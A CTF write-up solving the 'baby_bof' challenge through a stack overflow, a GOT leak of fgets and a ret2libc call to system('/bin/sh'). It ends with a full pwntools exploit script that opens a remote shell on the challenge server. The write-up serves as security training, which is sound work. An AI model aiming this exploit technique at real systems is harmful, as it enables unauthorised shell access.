It's just another bof.
nc dctf-chall-baby-bof.westeurope.azurecontainer.io 7481
We got a simple binary with output
plz don't rop me and after our input
plz don't rop me
Also we got a Dockerfile, which showed us the used image was Ubuntu:20.04
Based on the output, we know it was a rop challenge.
checksec baby_bof gave us.
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Loading the binary into ghidra I can calculate the offset of the return address.
So I knew, that after writing 18 characters I could overwrite the return address and control the code flow.
First I tried if I could do a rop only with the binary, but neither Ropper nor RopGadget found enough gadgets. So I had to use libc. For this I first needed to get the address where libc was loaded.
In order for this I leaked the address of got.fgets. If I then substract the address of fgets in libc, I could get the base address of libc. After the leak I would rerun the vulnerable function to make our next input.
Then I could use system and
/bin/sh from libc to get a shell.
But somehow this did work on my local machine and not remote. Because I didn't see my error, I gave up and continued with other challenges. Short before the end, I wanted to finish this challenge, so I gave it another try.
I thought, that maybe my local system had a different libc. So I downloaded the root from Github. From their I could extract the libc and loading them side by side showed me the offsets were wrong.
But even with this change it didn't work.
Because I thought it could still be some error with the offset, I tried to print
/bin/sh with puts.
The printout was correctly and I successfully had a shell.
From their I could cat the flag and the challenge was solved.
I didn't understanding why it worked. Testing some bits showed, that their was some call needed before the system or it woudln't work.
I modified my script, to just include a
ret-Gadget and my final exploit code was.
#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' context.kernel = 'amd64' #context.log_level = "DEBUG" context.log_level = "INFO" context.terminal = ['xfce4-terminal', '-x', 'sh', '-c'] vulnerable = './baby_bof' elf = ELF(vulnerable) libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6') libc2 = ELF('./libc.so.6') #p = elf.process()# p = remote("dctf-chall-baby-bof.westeurope.azurecontainer.io", 7481) p.readuntil('plz don\'t rop me') fgets_got = elf.symbols['got.fgets'] fgets_libc = libc2.symbols['fgets'] system_libc = libc2.symbols['system'] sh_libc= next(libc2.search(b'/bin/sh')) ret = next(elf.search(asm('ret'))) rop = ROP(elf) rop.puts(fgets_got) rop.call(elf.symbols['vuln']) p.sendline(b'\x41'*18 + bytes(rop)) p.recvuntil("i don't think this will work\n") fgets_address = p.recvuntil("\n")[:-1] fgets_address = u64(fgets_address + b'\x00'*(8-len(fgets_address))) libc_address = (fgets_address - fgets_libc) system_address = system_libc + libc_address sh_address = sh_libc + libc_address elf.symbols['system'] = system_address p.readuntil('plz don\'t rop me') rop = ROP(elf) rop.system(sh_address) p.sendline(b'\x41'*18 + p64(ret) + bytes(rop)) p.recvuntil("i don't think this will work\n") p.interactive()
The flag was located in a file called flag.txt.